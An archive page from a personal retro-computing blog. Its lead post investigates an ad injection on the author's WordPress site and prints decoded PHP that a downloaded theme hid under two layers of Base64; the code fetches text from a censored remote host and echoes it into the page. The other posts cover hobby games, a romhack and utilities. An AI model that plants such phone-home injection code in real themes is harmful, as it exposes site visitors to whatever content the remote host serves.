Vintage computing, old video games

On March 9th, 2020, I opened this blog and noticed something wasn’t right.

a "before and after" comparison where the blog looks screwed up after. There are a bunch of ads at the top forcing all of the blog content downward, and the blog's background appears chopped-off.

An exploit. I knew, first of all, my domain wasn’t expired– plus if it was, it wouldn’t be accompanied by this sketchy ad. My web host isn’t like that.

First order of business: right click view source to get a sense of it. It’s something emitted server-side as opposed to something directly from theme code. Of course, I guess.

Then narrow down the repro. I confirmed that it

  • Persists across browsers
  • only reproes with this WordPress instance, not with non-Wordpress-based web sites on the same domain
  • only reproes with this particular WordPress theme not other themes

I was surprised by it being specific to the theme, since I had a lot of a hand in the theme. I didn’t knowingly add or notice anything that could be a vulnerability. That being said, it was a theme I downloaded off the internet as a starting point, so who knows.

Since I keep a backup of the WordPress and theme files in a Git enlistment, I downloaded them from the web space back into the enlistment and looked for a delta. No delta.

That means two things:

  • The theme wasn’t corrupted. If there’s a problem with it, the problem’s been there since the beginning.
  • The corruption is more likely to be in the database.

While I have backup exports of the database, I didn’t have a current enough one to conveniently use as a delta unless I absolutely had to. Open PHPMyAdmin just for kicks. The theme-specific records I knew to be in wp_options so I looked there. There are not all that many records so I scrolled through and looked for clues.

There I saw a suspicious record: “credit_text2” and lo and behold, the value was a bunch of html which looked very similar to the stuff I saw in inspect element at the beginning of this. It was accompanied by other records, “credit_text”, “credit_date”, and “credit_date2”.

I had another WordPress instance handy for testing stuff. Looking at its database, it did not have these records. Therefore, the records were added either by the exploit or something specific to the theme. Knowing that it wasn’t something specific to WordPress, I figured just web search for it since the results would be unlikely to be filled up with everyday usage documentation– and lo and behold, someone else was victim to the same thing. He pinned down the exploit and gave a really good explanation. He used the Exploit Scanner plugin. I verified it- my web site was victim to the same exploit.

And it turns out, the theme I downloaded actually shipped with this code, encoded in two layers of Base64:

function start_template() {
global $reftime;
	$updated = get_option("credit_date2");
	if ((time() - $updated) > (24 * 3600 * $reftime)) {

		$credit_text2 = file_get_contents("http://www.w***p****t********.com/form_work2/?url=".get_bloginfo('url')."&installed=".get_option("template_install_date"));

		update_option("credit_text2",$credit_text2);
		update_option("credit_date2",time());
	} else { 
		$credit_text2 = get_option("credit_text2");
	}
	echo $credit_text2;
}

if(get_option("template_install_date") == "")
{
	add_option("template_install_date", time());
}

and also, this:

$contents = file_get_contents(pathinfo(__FILE__,PATHINFO_DIRNAME)."/footer.php");
if(strpos(" ".$contents,"wp_footer();") <= 0) {
die(); } 
function get_credits()
    {
        $updated = get_option("credit_date");
        if ((time() - $updated) > (24 * 3600)) {

            $credit_text = file_get_contents("http://www.w***p****t*******.com/form_work/output.txt?ref=".get_bloginfo('url'));
            update_option("credit_text",$credit_text);
			update_option("credit_date",time());
        } else { 
            $credit_text = get_option("credit_text");
        }
        return $credit_text;
    }

add_action('wp_footer','print_footer');

function print_footer()
    {
$credit = get_credits();
echo $credit;
}

(I censored the URL.)

Like I said this code was not plainly there, it was obfuscated beneath two layers of Base64 encoding, otherwise it would have been easier to spot how the theme was adding records.

If you take away the sketchy URL and code obfuscation, it actually doesn’t seem too malicious. It looks up your theme from a web site, presumably where you got the theme from– and credits the author.

Maybe the theme wasn’t shipped with a malicious vulnerability, but the vulnerability fits into this page-breaking scenario.

There might have been plans to monetize WordPress themes, where you’d have themes phone home to make sure you have paid for them. The paywall is secured by obscurity, hence the Base64 encoding. And the web site validating the paywall used to be something, now it’s been changed to something else who doesn’t want to maintain it or do us the courtesy of serving a more helpful request response than the whole web page in all its sketchiness. Fixing this problem is effectively unhooking from the paywall then. This particular theme, in any case, was free when I got it. I would link to it but the web site appears to be defunct. This was from a long time ago.

This code showed something else reassuring: that there wasn’t a bad actor using SQL injection to add or edit random records in WordPress’s database. Instead, the records were being edited by my web site itself. The disturbing part, and the nature of the vulnerability, is you’ve effectively got a theme downloading text from an external web site and echoing it to your blog, trusting that the external web site serves up something sensible.

Anyway, the problem was simple enough to remove from theme and database.

I think WordPress and general CMS are good in some ways, and bad in some ways.

It’s good in how many problems it solves for you and how it opens up web site building to more people. It’s bad in how far you’re removed from the web page that ultimately gets served up to your web site visitors. If something goes very wrong and you need to debug it, even if it’s something simple, you need to know something about the expansion of so many layers of terms, the evaluation of server-side functions. (If you are pro web developer you may even debug those functions.) It’s not enough to just write a bunch of markup, and clearly see the connection between the web page contents and the markup. See I don’t want to be a person who balances their life on big, convenient layers of magnificent technology that are impossible to understand. With this you are really at the mercy of this content generation system. This kind of thing sucks so much. Since the whole experience has been mostly okay so far, I’ll use it for now but only as long as it keeps solving enough actual problems.

Guys, I just wanted to put my images and text onto the information superhighway. Maybe the best solution is to leapfrog web 2.0 and go right to web 3.0. Something something social AI blockchain

March 11th, 2020 at 6:00 am | Comments & Trackbacks (0) | Permalink

You know, tetris?

Computers can be used for many things. Reading books, watching sports games, communicating with others. In your life, you may even come to play some games on your computer. Some of those games may have been good. Some may have been fun. This is not one of those.

This is the game as usual with one thing changed: the camera is locked to the current piece in flight. It moves along with the piece, and rotates too. Suggestion: appreciate the concept but do yourself a favor and don’t play it

https://github.com/clandrew/sirtet/

January 16th, 2020 at 9:38 pm | Comments & Trackbacks (0) | Permalink

One of my favorite retro sports games is Ice Hockey for the NES. This game gets overlooked a lot because it’s a bit on the simplistic side and not tied to a real-life franchise, but it’s still a good time.

I’ve started getting into watching women’s hockey leagues streaming, so I’ve been playing this game as something to do during intermission or when waiting for the game to start.

To fit the experience better, I made a romhack to change the sprites over to be female looking.

Before:

After:

Some more gameplay

Here’s a demo of the romahack tool I made walking through a simple task of crossing-out the puck sprite

Instead of crossing out the puck I made other changes to the sprites of course, and used this tool to import them back into the ROM.

Ultimately it may have been possible to use someone’s already-made tool in lieu of making a new one. I tried one, YY-CHR since it’s one of the most highly esteemed. But, I had problems getting it to understand externally-pasted or externally-imported images, and YY-CHR’s built-in image editor was not sufficient for my workflow. If that one didn’t pan out, it may not bode well for the others. Since I was familiar with the image formats it was not too much to simply make a new thing.

About this game’s mechanic, if you aren’t familiar- this is 4-on-4 hockey. Skater players come in three varieties: light, medium and heavy.

  • The light skater is fast but has a weak shot and can be knocked over easily.
  • The heavy skater is slow but has a strong shot and tends not to get knocked over.
  • And, the medium skater is in the middle.

You pick what type your 4 players should be. A typical game involves a balance of skaters, although ultimately it’s up to you.

The players, ref, goalie and zamboni driver are edited. Good stuff! It’s just a bit of fun so don’t worry about it too much.

To play it you don’t need to use the tool, of course. I’m posting a patch so you can just patch your ROM.

Click here to download the patch (IPS). Patch was created using LunarIPS. LunarIPS is also recommended for applying patches. Apply the patch to an unzipped, NA release ROM, size 40976 bytes. Don’t hesitate to contact me if you want to play but don’t know how any of this works, I’ll set you up.

And click here to download the source spritesheets if you want them for some reason.

If you want to change the sprites to fit your own creative inspiration, you too can use the tool I made, posted to GitHub here.

Update (1/15/2020): Fixed missing bun in one frame of heavy player animation, fixed back-of-ref’s-head-during-penalty animation

January 13th, 2020 at 8:25 am | Comments & Trackbacks (0) | Permalink

I made a tool for converting a spritesheet into an animated GIF.

This program was borne out of a similar situation as the text editor one. I needed some functionality that was super simple but couldn’t find exactly the right thing in an existing program.

I used to use a web application for doing work like this, but I don’t like depending on web apps where it’s not strictly necessary. Why, because when you upload your files or data somewhere, you’re putting a lot of trust in that other party. They probably wouldn’t mis-use your data, and the data isn’t anything sensitive anyway, but the principle of it is undesirable.

There’s also the fact that a web application is so much overkill for the task at hand. Think about it. Why do I need a full web stack, javascript interpreter, communication across text protocols, etc for something so simple like resizing an image, or changing the encoding? It boggles the mind. It’s like SHOUTCLOUD but not ironic. I have nothing against web applications, but I don’t think everything needs to be a web application. That stack is too thick.

As for the whole world heading to web applications, maybe that’s inevitable. This idea could become feasible as internet infrastructure improves- in many countries it is not all that fast or always-on-and-everywhere, right now. The principle of a thin client with a smart server and a good internet connection seems interesting.

But why do these this future “web app” need to run in a browser? Why does it need to be built on HTTP, of all things? Remember, there’s a difference between “internet” and “web pages”. There was internet before web pages. There might well be internet after them. What is so holy about HTTP? It’s hard to see anything good or holy about it, other than it’s a standard (ish!) borne out of 2 decades of blood and tears. If you’ve had to do any work on a web browser, you’d know.

Indeed, a thin client can’t even be all that thin if it can parse and display web page content. HTML5+Canvas, CSS, JS, SVG, weird extensions and back compat… there are a lot of sub-technologies required to get a competent web browser and light up even basic, typical scenarios. A lot of things could work via a simple page but in practice they do not. In the late 2010s it’s not uncommon to see >10MB payloads for viewing a single site, and for pages where that payload isn’t all images or video- pretty common- you can imagine the CPU necessary for unpacking some of that.

Put it all together with the fact that local computation, device battery life and internet connectivity haven’t really kept up with rising web site complexities. If they did, none of this would even be a problem. I wanted to hold some optimism for here for phone apps but I highly suspect they’re usually coded as web applications, hosted in web browser containers anyway.

It’s nice, the idea of side-stepping that entire stack and running a program natively on your computer. If the program was written competently, it has a good chance of not being flaky. At least, it is not likely to be screwed by tech on which it is built.

Web pages are good for some things, things based around displaying text and images which are updated remotely. Maybe some light games. But you should probably not run your traffic lights, your pacemaker in a web app.

Anyway, as for this program- it runs natively, and includes some features that are useful for what I needed out of it.

Find it here on GitHub.

November 20th, 2019 at 12:22 am | Comments & Trackbacks (0) | Permalink

This might be an example of the old does it take longer to painstakingly solve a problem, or to create a tool to make it less painstaking?

I keep around a lot of ASCII art diagrams and charts– some new, some carried forward from ancient times. For Aaezure Odyssey MUD, the game is played in ASCII and therefore so are all the in-game maps. In any case, sometimes there’s a need to edit them by moving around regions of content. In a conventional text editor, this is a gigantic pain in the neck. Sometimes you can cheese it using special key characters with find-and-replace but it’s not a great way to go through life.

I also thought that surely, there’d be an obvious choice for an already-existing text editor that supports this kind of diagramming function with moving around blocks of text. The best one I found was ASCIIFlow. I loved the UI of ASCIIFlow– it’s really cool and modern. However, it had a problem where the import/export was lossy. It’d take some characters, and replace them with other characters. Dealbreaker. Besides that, there’s Emacs or vim but those tools haven’t been part of my life thus far and I didn’t care to investigate. And then there was one other option, Notepad++ which I knew to support column-based selections but there didn’t appear to be a way to move around the blocks of text.

See I thought I could go through life without ever feeling motivated to make my own text editor. I’ve been liking the program, so while using it I added more features outside of what it was originally intended for– supporting cut, paste, undo, and so forth. Besides the diagrams it’s been good as a general purpose editor and I’ve already gotten a lot of mileage from that.

The program can be found on Github here.

February 26th, 2019 at 5:38 am | Comments & Trackbacks (0) | Permalink

I made a Winamp plugin that broadcasts what song you’re playing as a Discord Rich Presence.

An uncommon scenario? Sure, although I’m not too worried about that. This idea of functionality came from the integration Spotify has with Discord right now, plus there are a lot of other interesting ways in which app developers are implementing Rich Presence.

The main challenges for this project were understanding not one flow of communication, but two; the Discord RPC API and Winamp plugin architecture. You figure out how to do one, then how to do the other, and then merge the result together. One thing I am grateful for is the fact that Winamp is debugger-friendly and can also be launched by a debugger without issue. There wasn’t anything too gnarly that happened for this project but it helped to be able to step through some things- for example, the plugin configuration menu code– to debug. There was one problem where DialogBox was being called with NULL instead of the proper module handle, and it would indeed create a dialog box but of an unexpected type. It helped to be able to step through and debug this.

What it looks like, in action:

The source + binary distributed through GitHub repository here: https://github.com/clandrew/wdrp

Problem solved!

January 20th, 2019 at 4:54 am | Comments & Trackbacks (0) | Permalink

Project– Porting a Tetris game I wrote a long time ago in X86 to run on modern 64-bit Windows

The game was written in about 1000 lines of X86, and assembled with the A86 assembler tools. This was 12 years ago, in 2006.

It is extremely low tech and not super complicated or flashy, it was meant to be a personal effort back then to learn about it and becoming more comfortable debugging it. It was built as a 16-bit DOS COM executable. Although it ran on Windows at the time, the binary format was not very current even back then. Sadly time passed, the binary rotted and it does not run anymore.

There are three reasons why it does not run anymore
1. It’s a .COM executable. Running these requires an MS-DOS emulation subsystem of Windows which is not present on 64 bit Windows
2. It’s a 16-bit executable, which does not have support on 64 bit Windows
3. It uses DOS interrupts in order to work. These interrupts are not supported in modern OS. Modern Windows behavior is that they just crash the app

In addition to the broken binary, I had the source code still. So I decided to resurrect it by porting it so that it can be run natively now on a modern 64 bit Windows OS (where ‘natively’ here means ‘not with an emulator’). Yeah you can run it in DOSBox, but where’s the fun in that?

Although the program was originally assembled with A86, I ported it to use MASM (a Microsoft product). I want to say using MASM is not necessary for fixing the above problems. It would actually be possible to fix the above problems while still using A86. As it turns out, building Win32 programs with A86 is easier than ever because the author has (since 2006) created a new set of convenience tools for that, just barely too late for me to have taken advantage of. Looks promising.

The thing is, if I’m going to set out to make it work on Win32 anyway, it is almost certainly going to be easier with MASM. It has easy-to-set-up integration with Visual Studio, it’s basically automatic setting up my project to link against the right libraries, and there are built-in conveniences which make the Win32 APIs (or anything) syntactically nicer to call for the purposes of doing this. MASM has different syntax than A86 but switching over to its syntax wasn’t such a bad price to pay. Mnemonics themselves and the syntax for the addressing modes are basically the same. I thought I’d have to change over some things on this front, but as it turned out I didn’t. In general I don’t think the compatibility of mnemonics is standardized or guaranteed, but I didn’t run into problems in this area.

The annoyance– which would been there for MASM or A86 regardless– was graphics, because this part had to be changed the most. I decided to go with GDI which is not going to be anything like mode 13h (If you haven’t had to ever program with mode 13h it basically gives you a pointer to video memory and writing to it draws indexed-color pixels on the screen) For GDI on Win32 the program needs to be structured a lot differently. It needs to create a window and window resources, the code for drawing the grid needed to be moved to a paint message handler, needs to update with a timer, it should be scaled up too since a 320×200 resolution 1:1 is not a great time on a modern display, etc.

Coming at this I had wanted to be able to treat the game as a black box. Change a few things to get it working in Windows and that’s it. But in the end, I needed to understand nearly all parts of it to do what I wanted to do. There were all these long stretches of code organized horribly where I’d long forgotten how they work. Doing this was a gigantic hassle

Still, It works. It is still extremely low tech but that’s kind of the point, and to just get it working. I got to add a couple new things too:
– Different colors for the different pieces
– Fixed a bug where rows would sometimes not get cleared correctly
– Added a ‘next piece’ UI
– When you get game over instead of crashing it displays a message and you can press Escape to start again

I wonder… when it will rot again?? (As a GDI Win32 app) maybe it’s good for a while

The code for the Win32 version is all in one file located here.

May 14th, 2018 at 10:43 pm | Comments & Trackbacks (0) | Permalink

This game was made for a graphics course that had an open-ended choice of a final project. We were allowed to produce any sort of demo that used either OpenGL or raytracing techniques. I chose to do a use OpenGL (realtime) for the opportunity to make an interactive demo.

Features:

  • Textured meshes exported from 3DS Max in OBJ format, then saved as a serialized format by the game
  • Environment/cube map to serve as a background
  • Instanced geometry for faster drawing
  • Samples from the environment to create a reflective metal effect
  • Uses Cairo to render font glyphs to a texture, and composes them to make text
  • Uses a deformable mesh to create an animated explosion

In the game, the player shoots down enemy ships and scores points. The missles are shot from the player’s ship outward depending on where the ship is pointing.

The ship is controlled with the I,J,K, and L keys. Dragging the right mouse button can be used to rotate the camera, and the scroll wheel zooms in and out.

Pressing ‘S’ will enable/disable some sliders which control certain program parameters, used mostly for debugging/testing.

Pressing ‘Z’ fires a missile. If an enemy ship is hit by a missile, it disappears and the player’s score is increased.

The source code is compiled using Visual Studio 2008.
Download binary (Windows .exe)

Download Source

September 13th, 2012 at 5:00 pm | Comments & Trackbacks (0) | Permalink

This is a game submitted for a contest held by UW GameDev Club, where the game has to be done entirely in 24 hours (honour system). Any choice of language or API was allowed, and all entries have to follow the theme: the theme this time was “color, or a lack thereof”. I decided to make a small 2D arcade game. My entry was in C++ using GDI+ for graphics.

My entry (2nd place winner) was called Color Dungeon, and overhead-view arcade game where the main character walks around the map, avoiding orbs of the opposite color, getting to the stairs in the lower right corner.

There are 4 floors, each successive one is a little bit harder. The enemies are more numerous, move more quickly and a higher proportion of them will ‘home’ toward the character.

The maze as generated by recursively partitioning the map area into rectangular ‘rooms’. At each step the room will either be partitioned vertically, horizontally, or have another ‘room’ placed within it. ‘Exits’ (clearings in the wall) are added for reachability. Reachability is ensured for all areas in the map.

Arrow keys are used to move the character around the map. Touching orbs of the opposite colour will damage the character. The goal for each floor is to make it to the stairs, which are placed near the lower right corner.

Swords are an area-of-effect item that can be found scattered around the map; they are more frequent when there are more enemies. To use one, press ‘b’.

Download Game Binary (Win32)

The source code is compiled using Visual Studio 2008. There is one project file for the game.

Download Source

September 13th, 2012 at 5:00 pm | Comments & Trackbacks (0) | Permalink

This is a tool for estimating the amount of shift (displacement) between two images using FFT (Fast Fourier Transform). The images can be of different sizes. This method is faster than enumerating all the possible (x,y) shifts and selecting the right one, especially for large images. To perform the transforms it uses the fftw library.

More specifically it uses the 2D convolution function between the images. The steps for this are:
1. take the Fourier coefficients of the first image
2. take the same the second image,
3. find the element-wise product of the two results,
4. find the inverse Fourier transform of the above.

It shows the resulting image, with scaled colour channels so the darkest is black and the lightest is white. The light areas indicate likely amounts of shift. For example, a light area at co-ordinate (5, 6) means the second image was probably shifted 5 pixels across, 6 units down from the first.

As an example of using it, consider cropping an image so that the resulting image is 47 units across and 30 units down.

Point the program toward the two image files and hit ‘Estimate’.

The dialog will (quickly) show a visual result of the convolution, and the estimated shift. The shift matches with where the image was cropped. The units are the position of the first image, in pixels, relative to the second one.

A brute-force implementation of the same thing is very doable but takes around 30 seconds on this sample, so it’s a pretty significant speedup!


Download binary (Windows .exe) + sample images

The source code is compiled using Visual Studio 2008. There are three project files. ConvolveShift is the main executable, a Windows Forms program in C#. Native is a C++ DLL that does most of the real work. NativeDriver is a non-graphical program for testing Native.

Download Source

September 13th, 2012 at 5:00 pm | Comments & Trackbacks (0) | Permalink